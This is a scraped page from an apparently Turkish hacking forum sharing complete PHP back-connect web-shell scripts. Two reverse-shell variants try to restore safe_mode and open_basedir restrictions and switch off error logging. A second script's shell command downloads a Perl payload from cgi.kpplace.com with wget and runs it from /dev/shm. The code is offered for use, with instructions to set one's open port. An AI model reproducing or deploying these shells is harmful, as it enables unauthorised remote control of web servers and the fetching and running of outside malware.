Code: <?php $fdownload=$_GET['fdownload']; if ($fdownload <> "" ){ $path_parts = pathinfo("$fdownload")...

dc çift baðlantý script shell

<div id="post_message_6051">443 yazan yere modeminizde açtýðýnýz açýk portu yazýn <div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><? @ini_restore("safe_mode"); @ini_restore("open_basedir"); @ini_restore("safe_mode_include_dir"); @ini_restore("safe_mode_exec_dir"); @ini_restore("disable_functions"); @ini_restore("allow_url_fopen"); @ini_set('error_log',NULL); @ini_set('log_errors',0); ?> <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <meta http-equiv=Content-Type content="text/html; charset=windows-1254"> </HEAD> <BODY> <CENTER> <?php $uname = php_uname(); echo "Uname -a :$uname"; ?> <a href="?BackConnect=PHP_1">PHP BackConnect 1</a> &nbsp;&nbsp; <a href="?BackConnect=PHP_2">PHP BackConnect 2</a> <?php function printit ($string) { if (!$daemon) { print "$string\n"; } } $bc = $_GET["BackConnect"]; switch($bc){ case "PHP_1": set_time_limit (0); $VERSION = "1.0"; $ip = $_SERVER["REMOTE_ADDR"]; $port = 443; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { print("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) break; case "PHP_2": $ipim=$_SERVER["REMOTE_ADDR"]; $portum="443"; if ($ipim <> "") { $mucx=fsockopen($ipim , $portum , $errno, $errstr ); if (!$mucx){ $result = "Error: didnt connect !!!"; } else { $zamazing0="\n"; fputs ($mucx ,"\nwelcome ZoRBaCK\n\n"); fputs($mucx , system("uname -a") .$zamazing0 ); fputs($mucx , system("pwd") .$zamazing0 ); fputs($mucx , system("id") .$zamazing0.$zamazing0 ); while(!feof($mucx)){ fputs ($mucx); $one="[$"; $two="]"; $result= fgets ($mucx, 8192); $message=`$result`; fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); } fclose ($mucx); } } break; } ?> </CENTER> </BODY> </HTML></pre></div></div>

dc çift baðlantý script shell

443 yazan yere modeminizde açtýðýnýz açýk portu yazýn Code: <? @ini_restore("safe_mode"); @ini_restore("open_basedir"...

PHP backconnection script

<div id="post_message_6046"><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><?php set_time_limit (0); $VERSION = "1.0"; $ip = getenv ('REMOTE_ADDR'); // $port = 443; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'cd /dev/shm; wget cgi.kpplace.com/5.txt; perl 5.txt; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?></pre></div></div>

PHP backconnection script

Code: <?php set_time_limit (0); $VERSION = "1.0"; $ip = getenv ('REMOTE_ADDR'); // $port = 443; // CHANGE THIS $...

Post Labels